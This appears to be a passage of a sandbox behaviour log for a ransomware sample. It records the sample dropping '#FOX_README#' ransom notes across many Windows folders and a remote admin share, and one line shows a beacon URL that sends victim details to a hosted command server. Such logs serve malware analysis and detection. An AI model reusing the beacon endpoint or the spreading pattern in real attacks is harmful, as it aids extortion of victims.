Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\packages\vcRuntimeAdditional_amd64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\Crypto\SystemKeys\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\ko\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Contacts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\UEV\Templates\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sk\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\zu-ZA\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\it\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\lib\security\#FOX_README#.rtf NW6U7626.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0lj62mcv.default-release\storage\permanent\chrome\idb\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\lib\amd64\#FOX_README#.rtf NW6U7626.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\#FOX_README#.rtf NW6U7626.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jre1.8.0_66\bin\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sr-Latn-RS\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\fr\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\skins\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\gl\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\hi\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\zh-CN\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\TileDataLayer\Database\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jre1.8.0_66\lib\fonts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\db\bin\#FOX_README#.rtf NW6U7626.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files (x86)\Mozilla Maintenance Service\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Package Cache\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Public\Downloads\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\lib\cmm\#FOX_README#.rtf NW6U7626.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\tg\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\DesktopLearning_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\SmsRouter\MessageStore\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ko\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\UEV\InboxTemplates\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\include\win32\bridge\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\83.0.4103.106\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\skins\fonts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\lb-LU\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\hu\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Installer\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\yo-NG\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\jfr\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\da\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\db\lib\#FOX_README#.rtf NW6U7626.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\cy-GB\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ky\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe HTTP URL 289 http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=GOHCSFBB|Admin&sid=HvbJpdx305VelTNl&phase=[DIR]40CD4EECB9B1AE0B Process not Found File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState\Traces\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\Storage Health\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\HoloShell_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Public\Desktop\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Mozilla Maintenance Service\logs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\management\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-2066881839-3229799743-3576549721-1000\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\playlist\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\db\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\dropins\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{02f73ee0-b00a-4c78-a4b9-be8296331efd}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\bs-Latn-BA\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\gu\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\pa\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\prs-AF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\uninstall\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\setup\logs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\js\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\mr\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\am-ET\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\AppV\Setup\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Adobe\Color\Profiles\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ca\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\wasm\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\LocalLow\Oracle\Java\jdk1.8.0_66_x64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0lj62mcv.default-release\storage\permanent\chrome\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Public\AccountPictures\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\bn-IN\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\pt-BR\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sd-Arab-PK\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\th\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0lj62mcv.default-release\storage\default\moz-extension+++f67dd35a-b17e-4b36-83c6-ae65dc2901f7^userContextId=4294967295\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\bin\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\es\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ro\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File 